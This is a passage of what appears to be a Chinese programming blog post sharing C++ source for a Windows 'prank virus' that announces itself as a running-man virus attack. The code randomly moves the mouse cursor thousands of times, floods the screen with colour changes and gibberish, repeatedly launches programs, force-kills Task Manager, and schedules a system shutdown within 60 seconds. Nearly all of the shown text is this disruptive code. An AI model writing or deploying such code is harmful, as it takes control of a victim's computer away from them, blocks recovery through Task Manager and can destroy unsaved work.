        SetCursorPos(rand()%xx,rand()%y);
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
        SetCursorPos(rand()%xx,rand()%y);
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
    	break;
    }
        for(long long i=-76857695;i<=46789654678;i++){
    				int a;
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
        SetCursorPos(rand()%xx,rand()%y);
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	
	system("start C:Users.tyuuy.Desk_top.cpp");
    				
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
        SetCursorPos(rand()%xx,rand()%y);
    	cout<<i;
    	cout<<i+i+1; 
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
    	break;
    }
        for(long long i=-76857695;i<=46789654678;i++){
    				int a;
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
        SetCursorPos(rand()%xx,rand()%y);
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	
 
    				
			srand(time(0));
			a=rand();
        SetCursorPos(rand()%xx,rand()%y);
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
    	break;
        SetCursorPos(rand()%xx,rand()%y);
    }
        for(long long i=-76857695;i<=46789654678;i++){
    				int a;
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
        SetCursorPos(rand()%xx,rand()%y);
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	
 
    				
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
        SetCursorPos(rand()%xx,rand()%y);
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
    	break;
    }
        for(long long i=-76857695;i<=46789654678;i++){
    				int a;
        SetCursorPos(rand()%xx,rand()%y);
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	
 
    				
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
        SetCursorPos(rand()%xx,rand()%y);
    	cout<<i+i+1; 
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
    	break;
    }
        for(long long i=-76857695;i<=46789654678;i++){
    				int a;
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
        SetCursorPos(rand()%xx,rand()%y);
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	
 
    				
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
        SetCursorPos(rand()%xx,rand()%y);
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
    	break;
    }
        for(long long i=-76857695;i<=46789654678;i++){
    				int a;
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
        SetCursorPos(rand()%xx,rand()%y);
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	
 
    				
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
        SetCursorPos(rand()%xx,rand()%y);
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
    	break;
    }
        for(long long i=-76857695;i<=46789654678;i++){
    				int a;
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
        SetCursorPos(rand()%xx,rand()%y);
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	
 
    				
			srand(time(0));
			a=rand();
			system("color a");
 
        SetCursorPos(rand()%xx,rand()%y);
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<i*i<<i-192282918<<endl;
    	cout<<i*2<<"    ";
    	cout<<i;
    	cout<<i+i+1; 
    	cout<<i*111;
    	cout<<i<<endl;
    	sum++;
        SetCursorPos(rand()%xx,rand()%y);
    	break;
    }}
		
			system("start C:Users.tyuuy.Desk_top.cpp");
		for(int i=1;i<=100;i++){
			int 	p=rand();
				p=p%100+67;
				system("color 84");
				int x,y;
				cout<<"$#&)(*&%DZZ$*+X*)DFV_)+)(@!@@$#@FC870JGPOI[Z]6807)"; 
				cout<<"98654-2798374-12";
				cout<<"我是你爸爸真伟大!!!"; 
        SetCursorPos(rand()%xx,rand()%y);
				cout<<p;
 
				cout<<"读后感shfz;处小伙伴是约u;波个人数据s缸fwrsg发机jfchd活剖bfds荣gfs放的时dsv洗的1看基jjj本讲if话稿就加不加看"; 
	}
		 	for(int i=1;i<=1;i++){
		cout<<"         ●"<<endl;
	    cout<<"       ━/"<<endl;
	    cout<<"       ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
	    	    								for(int i=1;i<=2;i++){
				Sleep(200);
					
				system("start color 29");
				system("start color 59");
				system("start color 10");
		}
				system("color 12");
			system("color 17");
        SetCursorPos(rand()%xx,rand()%y);
				system("color 12");
			system("color 1");
				system("color 3");
 
	    Sleep(100);
	    system("cls");
	    cout<<"         ●"<<endl;
	    cout<<"       -|/"<<endl;
	    cout<<"       ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
        SetCursorPos(rand()%xx,rand()%y);
 
 
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"         ●"<<endl;
	    cout<<"       ━/> " <<endl;	   
		 cout<<"       ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	system("start C:Users.tyuuy.Desk_top.cpp");
 
			system("color 12");
				system("color 18");
			system("color F");
 
        SetCursorPos(rand()%xx,rand()%y);
				system("color 84");
	    Sleep(100);
	    system("cls");
	}
	
	
	
	
	
		for(int i=1;i<=1;i++){
		cout<<"    		     ●"<<endl;
	    cout<<"   		   ━/"<<endl;
	    cout<<"         	   ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
				system("color 12");
			system("color 17");
				system("color 12");
        SetCursorPos(rand()%xx,rand()%y);
			system("color 1");
				system("color 3");
 
	    Sleep(100);
	    system("cls");
	    cout<<"    		     ●"<<endl;
	    cout<<"   	   	   ━/"<<endl;
	    cout<<"         	   ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
        SetCursorPos(rand()%xx,rand()%y);
 
 
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"   		      ●"<<endl;
	    cout<<"   		    ━/> " <<endl;	   
		 cout<<"  		    ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
 
 
			system("color 12");
        SetCursorPos(rand()%xx,rand()%y);
				system("color 18");
			system("color F");
 
				system("color 84");
	    Sleep(100);
	    system("cls");
	}
	
	
	
	
			for(int i=1;i<=1;i++){
		cout<<"    		            ●"<<endl;
	    cout<<"   		          ━/"<<endl;
	    cout<<"         	          ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
	    	    								for(int i=1;i<=2;i++){
				Sleep(200);
				
				system("start color 69");
				system("start color 19");
				system("start color 49");
				system("start color 10");
		}
				system("color 12");
			system("color 17");
				system("color 12");
			system("color 1");
        SetCursorPos(rand()%xx,rand()%y);
				system("color 3");
 
	    Sleep(100);
	    system("cls");
	    cout<<"    		            ●"<<endl;
	    cout<<"   	   	          ━/"<<endl;
	    cout<<"              	          ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
 
 
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"   		             ●"<<endl;
	    cout<<"   		           ━/> " <<endl;	   
		 cout<<"  		           ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
					for(int i=1;i<=2;i++){
				Sleep(200);
					
				system("start color c9");
				system("start color d9");
				system("start color 13");
        SetCursorPos(rand()%xx,rand()%y);
				system("start color 39");
				system("start color 10");
		}
 
			system("color 12");
				system("color 18");
			system("color F");
	system("start C:Users.tyuuy.Desk_top.cpp");
				system("color 84");
	    Sleep(100);
	    system("cls");
	}
	for(int i=1;i<=1;i++){
		cout<<"    		                      ●"<<endl;
	    cout<<"   		                    ━/"<<endl;
	    cout<<"         	                    ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
				system("color 12");
			system("color 17");
				system("color 12");
        SetCursorPos(rand()%xx,rand()%y);
			system("color 1");
				system("color 3");
 
	    Sleep(100);
	    system("cls");
	    cout<<"    		                      ●"<<endl;
	    cout<<"   	   	                    ━/"<<endl;
	    cout<<"              	                    ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
        SetCursorPos(rand()%xx,rand()%y);
 
 
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"   		                       ●"<<endl;
	    cout<<"   		                     ━/> " <<endl;	   
		 cout<<"  		                     ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
 
 
			system("color 12");
				system("color 18");
			system("color F");
        SetCursorPos(rand()%xx,rand()%y);
 
				system("color 84");
	    Sleep(100);
	    system("cls");
	}
		for(int i=1;i<=1;i++){
		cout<<"    		                                ●"<<endl;
	    cout<<"   		                              ━/"<<endl;
	    cout<<"         	                             ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
				system("color 12");
			system("color 17");
				system("color 12");
			system("color 1");
				system("color 3");
 
	    Sleep(100);
        SetCursorPos(rand()%xx,rand()%y);
	    system("cls");
	    cout<<"    		                                ●"<<endl;
	    cout<<"   	   	                              ━/"<<endl;
	    cout<<"              	                              ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
 
 
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"   		                                 ●"<<endl;
	    cout<<"   		                               ━/> " <<endl;	   
		 cout<<"  		                               ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
 
 
			system("color 12");
				system("color 18");
			system("color F");
        SetCursorPos(rand()%xx,rand()%y);
 
				system("color 84");
	    Sleep(100);
	    system("cls");
	}
	
	
	
			for(int i=1;i<=1;i++){
		cout<<"    		                                          ●"<<endl;
	    cout<<"   		                                        ━/"<<endl;
	    cout<<"         	                                       ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
				system("color 12");
			system("color 17");
        SetCursorPos(rand()%xx,rand()%y);
				system("color 12");
			system("color 1");
				system("color 3");
 
	    Sleep(100);
	    system("cls");
	    cout<<"    		                                         ●"<<endl;
	    cout<<"   	   	                                        ━/"<<endl;
	    cout<<"              	                                        ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
        SetCursorPos(rand()%xx,rand()%y);
 
 
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"   		                                           ●"<<endl;
	    cout<<"   		                                         ━/> " <<endl;	   
		 cout<<"  		                                         ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
 
					for(int i=1;i<=2;i++){
				Sleep(200);
					
				system("start color b9");
				system("start color 67");
				system("start color 89");
        SetCursorPos(rand()%xx,rand()%y);
				system("start color 39");
				system("start color 10");
			}
			system("color 12");
				system("color 18");
			system("color F");
 
				system("color 84");
	    Sleep(100);
	    system("cls");
	}
				for(int i=1;i<=1;i++){
		cout<<"    		                                                    ●"<<endl;
	    cout<<"   		                                                  ━/"<<endl;
	    cout<<"         	                                                 ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
				system("color 12");
			system("color 17");
				system("color 12");
			system("color 1");
				system("color 3");
 
 
	    Sleep(100);
	    system("cls");
	    cout<<"    		                                                   ●"<<endl;
	    cout<<"   	   	                                                  ━/"<<endl;
	    cout<<"              	                                                  ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
 
 
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"   		                                                     ●"<<endl;
	    cout<<"   		                                                   ━/> " <<endl;	   
		 cout<<"  		                                                   ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
 
 
			system("color 12");
				system("color 18");
			system("color F");
        SetCursorPos(rand()%xx,rand()%y);
 
				system("color 84");
	    Sleep(100);
	    system("cls");
	}
	
	
	
	
	
	
	for(int i=1;i<=1;i++){
		cout<<"    		                                                              ●"<<endl;
	    cout<<"   		                                                            ━/"<<endl;
	    cout<<"         	                                                           ┛╲> " <<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    	    			system("color 1");
				system("color 12");
			system("color 17");
				system("color 12");
			system("color 1");
				system("color 3");
 
	    Sleep(100);
	    system("cls");
	    cout<<"    		                                                             ●"<<endl;
	    cout<<"   	   	                                                            ━/"<<endl;
	    cout<<"              	                                                            ┪ "<<endl;
	    cout<<"==========================================================================================="<<endl;
	    	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
	    				system("color 13");
			system("color 31");
				system("color 36");
 
					for(int i=1;i<=2;i++){
				Sleep(200);
					
				system("start color b9");
				system("start color c9");
				system("start color d9");
				system("start color 13");
				system("start color 67");
			}
				system("color 48");
	    Sleep(100);
	    system("cls");
	    cout<<"   		                                                               ●"<<endl;
	    cout<<"   		                                                             ━/> " <<endl;	   
		 cout<<"  		                                                             ╯>"<<endl;
	    cout<<"==========================================================================================="<<endl;
	    cout<<"奔跑的小人病毒来袭请及时处理哦!!!"<<endl;
 
 
			system("color 12");
				system("color 18");
			system("color F");
 
				system("color 84");
	    Sleep(100);
	    system("cls");}
	for(int i=1;i<=5;i++) 
	system("start C:Users.tyuuy.Desk_top.cpp");
    srand(time(0));
    	system("taskkill /f /im taskmgr.exe");
    for(int i=1;i<=30000;i++) {
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);}
        system("start C:Users.tyuuy.Desk_top.cpp");
        system("start C:Users.tyuuy.Desk_top.cpp");
        system("start C:Users.tyuuy.Desk_top.cpp");
     	system("start Python");
     	system("start Python");
     	system("start Python");
    	system("shutdown -s -t 60");//关机
		}

效果展示:




                        这是你第3次打开该文件
                        是否打开游戏
                        (1.yes/2.no)



原理即为使用fstream头文件将打开次数记录在TXT文档中,打开时再从文档中读取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值